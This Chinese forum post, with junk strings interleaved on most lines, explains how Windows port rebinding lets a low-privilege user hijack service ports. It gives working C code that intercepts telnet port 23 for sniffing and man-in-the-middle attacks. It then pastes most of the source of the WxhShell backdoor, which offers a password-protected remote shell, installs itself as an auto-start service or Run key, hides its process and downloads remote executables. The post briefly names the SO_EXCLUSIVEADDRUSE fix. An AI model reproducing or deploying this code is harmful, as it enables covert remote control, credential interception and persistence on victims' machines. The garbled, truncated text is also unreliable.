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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {2g?+8L$Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0_>1CW+X  
uX7"u*@Q*~  
  saddr.sin_family = AF_INET; "el3mloR 8  
%tkL<e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jw2hB[WR  
R^ I4_ZA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Tt0]G_  
0[Zs8oRiI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 czo*_q%  
QA!'p1{#  
  这意味着什么?意味着可以进行如下的攻击: y3'K+?4  
x*^)B~7}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zq^eL=%:  
kafj?F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .#e?[xxk  
]mO7O+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;ahI}}  
t_X=x`f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9qJ:h-?M  
UD]RWN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3 _DJ  
2;ogkPv'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (TGG?V  
r$d'[ZcX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R? ,XSJ  
Fmrl*tr  
  #include 7}e{&\0=l  
  #include pe`&zI_`?  
  #include \G]vTK3  
  #include    9fq CE619a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /u'M7R  
  int main() ?)c9!hR  
  { q&k?$rn  
  WORD wVersionRequested; v|r#  
  DWORD ret; $k3l[@;hE  
  WSADATA wsaData; UazUr=| e  
  BOOL val; #>\8m+h 9  
  SOCKADDR_IN saddr; mt3j$r{_  
  SOCKADDR_IN scaddr; c f1GA  
  int err; ?pF uV`Zm  
  SOCKET s; D~<0CQ3n.  
  SOCKET sc; {W#VUB  
  int caddsize; Y)v_O_`  
  HANDLE mt; -u 'BK@;  
  DWORD tid;   SE!0f&  
  wVersionRequested = MAKEWORD( 2, 2 ); .3 T#:Hl  
  err = WSAStartup( wVersionRequested, &wsaData ); {f)"F;]V  
  if ( err != 0 ) { =arrp:  
  printf("error!WSAStartup failed!\n"); 6oLq2Z8uP  
  return -1; 7j L.\O  
  } !+I!J s"  
  saddr.sin_family = AF_INET; HOAgRhzE  
   $5/lU }To  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zz+[]G+"2m  
A Pu cA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T]Eg9Y:+v  
  saddr.sin_port = htons(23); b6UD!tXp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vnq&lz%QqC  
  { VM[Vh k[  
  printf("error!socket failed!\n"); y\"Kur*O  
  return -1; +gOv5Eno-  
  } =XT}&D6  
  val = TRUE; aC2\C=ru_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !G3d5d2)C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #!X4\+)  
  { zcNv T  
  printf("error!setsockopt failed!\n"); kMLWF  
  return -1; WwM/M!98J  
  } =9JKg4I6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mxV0"$'Fm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x:)8+Rn}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Xy(o0/7F9  
&qP&=( $  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z>H y+Q4  
  { IaLCWvHX  
  ret=GetLastError(); %kJ_o*"  
  printf("error!bind failed!\n"); ,D`iV| (  
  return -1; fc #zhp5bX  
  } .:b|imgiv  
  listen(s,2); @dzO{)  
  while(1) (E*eq-8  
  { `'{>2d%\g  
  caddsize = sizeof(scaddr); 75LIQ!G|=  
  //接受连接请求 v} $KlT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m*MfGj(  
  if(sc!=INVALID_SOCKET) CcZ\QOet&C  
  { Ol~j q;75  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +JMB98+l  
  if(mt==NULL) $i+ 1a0%n  
  { ;r_YEPlZ  
  printf("Thread Creat Failed!\n"); .(0'l@#fT  
  break; =;9*gDfD  
  } y[s* %yP3l  
  } 7aJLC!  
  CloseHandle(mt); 0OndSa,  
  } a;Q.R  
  closesocket(s); t@TBx=16  
  WSACleanup(); z;_fO>u:  
  return 0; _BV'J92.  
  }   rVx%"_'*-  
  DWORD WINAPI ClientThread(LPVOID lpParam) !?o661+b  
  { =W6AUN/%p  
  SOCKET ss = (SOCKET)lpParam; i 5"g?Wa2N  
  SOCKET sc; S'NZb!1+  
  unsigned char buf[4096]; yu'2  
  SOCKADDR_IN saddr; q#$4Kt;  
  long num; ,{ C   
  DWORD val; <wt#m`Za  
  DWORD ret; $W 46!U3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s!Xj'H7K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   06 kjJ4  
  saddr.sin_family = AF_INET; Z^w}: {  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ckXJ9>  
  saddr.sin_port = htons(23); <m"yPi3TY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <|_/i/H  
  { c5?;^a[  
  printf("error!socket failed!\n"); xHv<pza:  
  return -1; sglYT!O  
  } ;~Ke5os=s  
  val = 100; +)C?v&N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ef\Pu\'U  
  { `zNvZm-E  
  ret = GetLastError(); \dAh^BK1(  
  return -1; IS`1}i$1%  
  } U5; D'G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t> J 43  
  { ]VifDFL}  
  ret = GetLastError();  PK#; \Zw  
  return -1; @'.(62v  
  } TbqED\5@9w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .z u0GsU=  
  { i]:T{2  
  printf("error!socket connect failed!\n"); X6jW mo8]  
  closesocket(sc); wf!?'*  
  closesocket(ss); z116i?7EnV  
  return -1; VC "66 \d&  
  } DGl_SMJb  
  while(1) Bb^CukS:  
  { B w1ir  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >=|Dir  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b !FX]d1~k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CA7ZoMB#  
  num = recv(ss,buf,4096,0); 8=rD'*  
  if(num>0) *f8; #.Re  
  send(sc,buf,num,0); 3fJ GJW!zu  
  else if(num==0) $;1#gq%  
  break; isaDIl;L/  
  num = recv(sc,buf,4096,0); {VBx;A3*I  
  if(num>0) .lVC>UT  
  send(ss,buf,num,0); gF( aYuk  
  else if(num==0) $Q,Fr; B  
  break; q@K;u[zFK  
  } :kUZNw'Bi  
  closesocket(ss); JivkY"= F  
  closesocket(sc); .4c*  _$  
  return 0 ; 0|g|k7c{rF  
  } L>~wcoB  
"'us.t.  
gs)wQgJ[  
========================================================== ig(a28%  
QiB ^U^f  
下边附上一个代码,,WXhSHELL " N)dle,  
iaAVGgA9+  
========================================================== ^&oa\7<'  
q_eGY&M  
#include "stdafx.h" Z?k4Kb  
!+tz<9BBY  
#include <stdio.h> pPt7M'uL"  
#include <string.h> zPWX%1Qr  
#include <windows.h> ?N2/;u>  
#include <winsock2.h> \ IJ\  
#include <winsvc.h> +yX\!H"  
#include <urlmon.h> W99MA5P  
QAYhAOS|e  
#pragma comment (lib, "Ws2_32.lib") x/*ndH  
#pragma comment (lib, "urlmon.lib") UxI0Of&:  
7=yC*]BH-=  
#define MAX_USER   100 // 最大客户端连接数 qkB)CY7  
#define BUF_SOCK   200 // sock buffer hA1\+r  
#define KEY_BUFF   255 // 输入 buffer @vWf-\  
Kbjt  CI7  
#define REBOOT     0   // 重启 mo1(dyjx  
#define SHUTDOWN   1   // 关机 }LLnJl~Z  
^R.kThG  
#define DEF_PORT   5000 // 监听端口 p!^.;c  
U$o\?4  
#define REG_LEN     16   // 注册表键长度 8s6~l.v  
#define SVC_LEN     80   // NT服务名长度 MxMrLiqU6l  
P$z8TDCH  
// 从dll定义API 2_@vSwC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J [}8&sn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ssVO+ T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jEr/*kv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MQc|j'vEY  
bp G`,[  
// wxhshell配置信息 2Qg.b- C  
struct WSCFG { ['%]tWT9  
  int ws_port;         // 监听端口 Bbuy y  
  char ws_passstr[REG_LEN]; // 口令 Bw2-4K\"kc  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]$[J_f*x  
  char ws_regname[REG_LEN]; // 注册表键名 MONfA;64/  
  char ws_svcname[REG_LEN]; // 服务名 p9]008C89  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *B"p:F7J|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n"YY:Gm;8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2 O\p`,.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GtcY){7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GKf,1kns  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tRU+6D <w  
JjarMJr| D  
}; vZj:\geV  
llVm[7  
// default Wxhshell configuration rUjK1A{V  
struct WSCFG wscfg={DEF_PORT, UFnz3vc  
    "xuhuanlingzhe", ab ?   
    1, rlSar$  
    "Wxhshell", {@K>oaZ  
    "Wxhshell", ql, k5.l  
            "WxhShell Service", l);M(<  
    "Wrsky Windows CmdShell Service", 3|4jS"t{f  
    "Please Input Your Password: ", $$7Mq*a>  
  1, ! 6yo D  
  "http://www.wrsky.com/wxhshell.exe", r\J"|{)e  
  "Wxhshell.exe" {+~}iF<%  
    }; 7J@iJW],,  
9\9:)q  
// 消息定义模块 J})G l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /wplP+w2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qN h:;`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LE^kN<qMK  
char *msg_ws_ext="\n\rExit."; -#Xo^-&  
char *msg_ws_end="\n\rQuit."; 7x8/Vz@\  
char *msg_ws_boot="\n\rReboot..."; o'Q"  
char *msg_ws_poff="\n\rShutdown..."; Le#>uWM  
char *msg_ws_down="\n\rSave to "; ^ NZq1c  
?wzE+p-  
char *msg_ws_err="\n\rErr!"; S?pWxHR]  
char *msg_ws_ok="\n\rOK!"; +"1@ 6,M  
/NvHM$5O%  
char ExeFile[MAX_PATH]; = GUgb2TAT  
int nUser = 0; A1Tk6i<F1  
HANDLE handles[MAX_USER]; eXo7_#  
int OsIsNt; F_>OpT  
fFu+P<?"  
SERVICE_STATUS       serviceStatus; \;&WF1d`ac  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V$U#'G>m  
u#9H  
// 函数声明 QWL$F:9:  
int Install(void); , y%!s27  
int Uninstall(void); vv0A5p8H  
int DownloadFile(char *sURL, SOCKET wsh); b CWSh~  
int Boot(int flag); Nn/me  
void HideProc(void); xgsEJE  
int GetOsVer(void); a3t[Tk;  
int Wxhshell(SOCKET wsl); "+SnHpNx  
void TalkWithClient(void *cs); Zy !^HS$  
int CmdShell(SOCKET sock); ~z;G$jd  
int StartFromService(void); SUv(MA&  
int StartWxhshell(LPSTR lpCmdLine); AlZ]UGf^  
?K5S{qG'O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^FO&GM2a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Rr>nka)U  
BO5\rRa0  
// 数据结构和表定义 Y!!w*G9b  
SERVICE_TABLE_ENTRY DispatchTable[] = 6"@`iY  
{ ,x (?7ZW>  
{wscfg.ws_svcname, NTServiceMain}, "d1~(0=6<m  
{NULL, NULL} . W ~&d_n  
}; k*xMe-  
{tE9m@[AF  
// 自我安装 JDbRv'F:(  
int Install(void) /6Bm <k%  
{ r.WQ6h/eZ5  
  char svExeFile[MAX_PATH]; B!J~ t8  
  HKEY key; 'YFy6rds  
  strcpy(svExeFile,ExeFile); tk]>\}%  
a!?JVhD&  
// 如果是win9x系统,修改注册表设为自启动 4$~A%JN3  
if(!OsIsNt) { t,D7X1W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hl"^E*9x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nF"NXYa  
  RegCloseKey(key); Sbzx7 *X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @$G{t^&os  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G;jX@XqZ  
  RegCloseKey(key); -] @cUx  
  return 0; l%\p  
    } Z'!Ii+'6  
  } h#:_GNuF  
} |3]#SqX  
else { zWO!z =  
z^,P2kqK_  
// 如果是NT以上系统,安装为系统服务 !-tP\%'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O su 75@3  
if (schSCManager!=0) DH9p1)L'  
{ ;Q.'u  
  SC_HANDLE schService = CreateService i]$/& /  
  ( .]XBJc  
  schSCManager, bJ!(co6t  
  wscfg.ws_svcname, (fqU73  
  wscfg.ws_svcdisp, j|-{*t{/x  
  SERVICE_ALL_ACCESS, ~rfUqM]I   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X$A[~v  
  SERVICE_AUTO_START, ;owU]Xk%8K  
  SERVICE_ERROR_NORMAL, P*!~Z *"  
  svExeFile, q9gk:Jt  
  NULL, # A#,]XP  
  NULL, QHHj.ZY  
  NULL, vp|.x |@  
  NULL, ./qbWr`L  
  NULL M+l~^E0Wj  
  ); $ ?*XPzZ  
  if (schService!=0) "2_nN]%u-  
  {  i|!D  
  CloseServiceHandle(schService); qZ<|A%WQ  
  CloseServiceHandle(schSCManager); INNTp[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =a $7^d  
  strcat(svExeFile,wscfg.ws_svcname); 6[T)Q^0`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |Duf 3u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ` st^i$A  
  RegCloseKey(key); <Kk[^.7C;  
  return 0; ? 4v"y@v  
    } /St d6B*  
  } GhC%32F  
  CloseServiceHandle(schSCManager); CyKupJ.Fq  
} vSv:!5*  
} 5E!Wp[^  
OrRU$5Lo  
return 1;  K)P].htw  
} v$~ZT_"(9  
Ksb55cp`  
// 自我卸载 [pzo[0G 'v  
int Uninstall(void) &`B Tw1u  
{ 1$v1:6  
  HKEY key; \Lz4ZZjSY  
oTb4T=  
if(!OsIsNt) { ?'mi6jFFh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H|8i|vbi  
  RegDeleteValue(key,wscfg.ws_regname); nV_[40KP_  
  RegCloseKey(key); tD+K4 ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D.,~I^W  
  RegDeleteValue(key,wscfg.ws_regname); ' p!\[* e  
  RegCloseKey(key); l~#%j( Yo  
  return 0; "%dok@v  
  } _xdFQ  
} 8C4v  
} </li<1  
else { ^~DClZ  
>mp" =Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WV,j <x9w  
if (schSCManager!=0) TIVrbO\!o  
{ gVN&?`k*?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m<GJ1)%3i  
  if (schService!=0) KF f6um  
  { !3Ed0h]Bfa  
  if(DeleteService(schService)!=0) { Y/`*t(/5  
  CloseServiceHandle(schService); e) kVS}e?  
  CloseServiceHandle(schSCManager); *6QmYq6c<  
  return 0; lk%W2N5  
  } :M\3.7q  
  CloseServiceHandle(schService); JAS!eF  
  } +*Pj,+;W  
  CloseServiceHandle(schSCManager); :=2l1Y[-G  
} *K=Yrisz  
} la*c/*  
_-nIy*',=  
return 1; {f[X)  
} l3;MjNB^V  
@WO>F G3  
// 从指定url下载文件 w<G'gi]  
int DownloadFile(char *sURL, SOCKET wsh) Sj9NhtF]f  
{ )/4U]c{-  
  HRESULT hr; =(]||1 .  
char seps[]= "/"; tN&_f==e  
char *token; z|WDqB%/I  
char *file; 5 $:  q  
char myURL[MAX_PATH]; f}? q  
char myFILE[MAX_PATH]; . J.| S4D  
U Y')|2y 5  
strcpy(myURL,sURL); 3`> nQ4zC  
  token=strtok(myURL,seps); SAtK 'Jx[  
  while(token!=NULL) :Wmio\  
  { pb=yQ}.  
    file=token; a!*K)x,"<  
  token=strtok(NULL,seps); Q0-}!5`E1$  
  } bT#re  
JN<IMH  
GetCurrentDirectory(MAX_PATH,myFILE); c(!8L\69V}  
strcat(myFILE, "\\"); _5SA(0D#9  
strcat(myFILE, file); 'qnnZE  
  send(wsh,myFILE,strlen(myFILE),0); 8VLD yX2-  
send(wsh,"...",3,0); z!/ MBM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kk<MS$Ov  
  if(hr==S_OK) O/bpm-h`8c  
return 0; rhvTV(Bz  
else ZX03FJL7u  
return 1; EE[JXoke  
(H-Y-Lk+  
} fk  
/%5X:*:H  
// 系统电源模块 X/-u$c  
int Boot(int flag) n 2m!a0;  
{ bsgrg  
  HANDLE hToken; t}2$no?  
  TOKEN_PRIVILEGES tkp; 0F|DD8tHR  
?~s23%E  
  if(OsIsNt) { 4> $weu^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R8YA"(j!L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2$%E:J+2:$  
    tkp.PrivilegeCount = 1; gyAKjLqqpi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %9P)Okq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~f:jI1(}  
if(flag==REBOOT) { cri.kr9Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E#A}J:  
  return 0; SB\T iH/  
} a0=5G>G9c  
else { OJ Y_u[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  i%a jL  
  return 0; *cnxp-)ub  
} -)2sR>`A%  
  } E ^<.;  
  else { Z$&i"1{  
if(flag==REBOOT) { 8!q$8]M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \"^.>+  
  return 0; KW5u.phv  
} 5\|u] ~b  
else { Rr0@F`"R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,}hJ)  
  return 0; IoI ,IX]i)  
} G,6Zy-Y9  
} =fZMute  
7TW</g(  
return 1; 3~&h9#7 Ke  
} !YCus;B~  
_[_mmf1;:'  
// win9x进程隐藏模块 |rg4 j  
void HideProc(void) ;[>g(W+  
{ %Yi^{ZrM  
Ar:ezA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j(SBpM  
  if ( hKernel != NULL ) RN"O/b}qQ  
  { |-SImxV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `[*nUdG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %m5&U6  
    FreeLibrary(hKernel); %]15=7#'y  
  } 0Zq jq0O#  
0nbQKoF  
return; K V-}:u(  
} D ^~G(m;-  
cLpkgK&a  
// 获取操作系统版本 }&h* bim  
int GetOsVer(void) ^KeJ=VT  
{ }#h>*+Q  
  OSVERSIONINFO winfo; zu@5,AH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SpB\kC"K  
  GetVersionEx(&winfo); X\a*q]"_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l5R0^!t  
  return 1; D<35FD,  
  else keYvscRBI  
  return 0; ^XIVWf#`H  
} ^*fZ  
Zoi\r  
// 客户端句柄模块 pDg_^|  
int Wxhshell(SOCKET wsl) V?*\ISB`}  
{ t'{\S_  
  SOCKET wsh; |Qe#[Q7  
  struct sockaddr_in client; v_$'!i$  
  DWORD myID; c-ahe;q  
)O~V3a  
  while(nUser<MAX_USER) aj71oki)  
{ {B_pjs  
  int nSize=sizeof(client); SX4"HadV>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *<[Nvk^  
  if(wsh==INVALID_SOCKET) return 1; 7K|: 7e(  
\ M_}V[1+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *nPB+@f  
if(handles[nUser]==0) ,>^6ztM  
  closesocket(wsh); b& l/)DU  
else aq|R?  
  nUser++; ,bQbj7  
  } 2'38(wXn#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EP|OKXRltA  
]ZB^Hi_  
  return 0; },d`<^~  
} 9b/7~w.  
s L9,+  
// 关闭 socket |Mm9QF;iA  
void CloseIt(SOCKET wsh) :UyNa0$l:"  
{ ?ep'R&NV  
closesocket(wsh); Zy>iaG9}  
nUser--; h#o3qY  
ExitThread(0); wQ4IQ!  
} Jf/X3\0N7  
3y9K'  
// 客户端请求句柄 Q bg,q  
void TalkWithClient(void *cs) z g@,s"`>  
{ (&w'"-`  
:DxCjv  
  SOCKET wsh=(SOCKET)cs; DRBRs-D  
  char pwd[SVC_LEN]; oPX `/ X#  
  char cmd[KEY_BUFF]; =*AAXNs@3  
char chr[1]; yC]xYn)  
int i,j; AX Y.80+  
<h$Nh0  
  while (nUser < MAX_USER) { :%!}%fkxH  
N34.Bt  
if(wscfg.ws_passstr) { zH1pW(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f1a >C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uG|d7LS,%  
  //ZeroMemory(pwd,KEY_BUFF); S G&VZY  
      i=0; ]8}+%P,Q  
  while(i<SVC_LEN) { "funFvY  
-`iXAyr)m  
  // 设置超时 YpAJ7 E|7  
  fd_set FdRead; IZ$7'Mo86  
  struct timeval TimeOut; ;{n@hM*O  
  FD_ZERO(&FdRead); 2\$P&L a  
  FD_SET(wsh,&FdRead); Y: ~A-_  
  TimeOut.tv_sec=8; Zy}Qc")Z  
  TimeOut.tv_usec=0; X>[x7t:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _^)Wrf+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ECO4ut.d  
.`iG} j)\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >q'xW=Y j\  
  pwd=chr[0]; q(i^sE[y  
  if(chr[0]==0xd || chr[0]==0xa) { QF  P3S(  
  pwd=0; yj^LX2x"  
  break; Q^&oXM'x/i  
  } <Rs#y:  
  i++; E&\dr;{7  
    } 6m.ChlO/  
h,Y!d]2w  
  // 如果是非法用户,关闭 socket L|y4u;-Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uCc.dluU  
} Ub0hISA  
rjmKe*_1V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tQSj[Yl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @}#"o  
LvWl*:z  
while(1) { xbh4j!FD$  
K[wOK  
  ZeroMemory(cmd,KEY_BUFF); ZZkxEq+D  
^i"C%8  
      // 自动支持客户端 telnet标准   ugtzF  
  j=0;  T4}SF  
  while(j<KEY_BUFF) { yI&{8DCCw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [m9Pt]j@  
  cmd[j]=chr[0]; ISQC{K']J  
  if(chr[0]==0xa || chr[0]==0xd) { H-?wEMi)*u  
  cmd[j]=0; y8Q96zi  
  break; +3HukoR(  
  } 5yvaY "B  
  j++; $jt  UQ1  
    } "2>I?  
=j)y.x(  
  // 下载文件 'Zq$ W]i  
  if(strstr(cmd,"http://")) { s m42  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '~dE0ohWb  
  if(DownloadFile(cmd,wsh)) @WppiZ$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cd4a7<-  
  else )+^1QL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i|'M'^3r  
  } E$$pO.\  
  else { G1; .\i  
tMN^"sjf*  
    switch(cmd[0]) { I91pX<NBf  
  $rB20!  
  // 帮助 -Cb<T"7  
  case '?': { 3pxm0|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n-h2SQl!  
    break; LPjsR=xi  
  } P);: t~  
  // 安装 !B=Oc!e=K  
  case 'i': { ZE#f{qF(  
    if(Install()) btq`[gAF\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GCxtWFXH  
    else m6%csh-N1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^wL n  
    break; Jjb(lW  
    } m){.{Vn]  
  // 卸载  N-x~\B!  
  case 'r': { Qm| Q0u   
    if(Uninstall()) #A8d@]Ps  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U @Il:\I  
    else !/4f/g4Ze  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -+1it  
    break; Luxo,Ve  
    } j@0/\:1(U  
  // 显示 wxhshell 所在路径 {VC4rA  
  case 'p': { !Jo3>!,j  
    char svExeFile[MAX_PATH]; o C]tEXJ  
    strcpy(svExeFile,"\n\r"); ={9G.%W  
      strcat(svExeFile,ExeFile); sSLs%)e|:  
        send(wsh,svExeFile,strlen(svExeFile),0); P)fv:a  
    break; @=[/bG  
    }  \Vis  
  // 重启 C;DNL^  
  case 'b': { =d/\8\4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kl.)A-6V  
    if(Boot(REBOOT)) CPq{M.B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RU!j"T 5  
    else { t#+X*'/  
    closesocket(wsh); Vp $]  
    ExitThread(0); X!5  
    } P5;LM9W  
    break; Cc:4n1|]>  
    } ~L!*p0dS^  
  // 关机 $tyF(RybG  
  case 'd': { 'hl>pso.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fI%+  
    if(Boot(SHUTDOWN)) 8y}9X v  
